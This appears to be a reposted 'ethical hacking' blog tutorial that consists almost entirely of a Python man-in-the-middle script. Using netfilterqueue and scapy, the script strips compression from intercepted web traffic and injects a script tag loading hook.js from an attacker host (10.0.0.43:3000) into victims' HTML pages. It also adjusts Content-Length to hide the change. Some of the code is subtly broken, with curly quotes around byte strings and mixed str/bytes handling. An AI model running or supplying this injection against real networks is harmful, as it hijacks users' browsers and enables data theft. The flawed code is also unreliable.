Python Ethical Hacking - Bypass HTTPS(2)

Injecting Code in HTTPS Pages:

#!/usr/bin/env python
import re

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import TCP, IP
from scapy.packet import Raw

def set_load(packet, load):
    packet[Raw].load = load
    del packet[IP].len
    del packet[IP].chksum
    del packet[TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
        load = scapy_packet[Raw].load
        if scapy_packet[TCP].dport == 10000:
            print("[+] Request")
            print(scapy_packet.show())
            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
        elif scapy_packet[TCP].sport == 10000:
            print("[+] Response")
            injection_code = b‘<script src="http://10.0.0.43:3000/hook.js"></script>‘
            load = load.replace(b"</body>", injection_code + b"</body>")
            content_length_search = re.search(b"(?:Content-Length:\s)(\d*)", load)
            if content_length_search and b"text/html" in load:
                print(content_length_search)
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, str(new_content_length).encode())

        if load != scapy_packet[Raw].load:
            print("Payload")
            new_packet = set_load(scapy_packet, load)
            print(str(new_packet))
            packet.set_payload(str(new_packet).encode())

    packet.accept()

queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print(‘‘)

原文地址:https://www.cnblogs.com/keepmoving1113/p/11581893.html

时间: 2024-10-10 06:43:12

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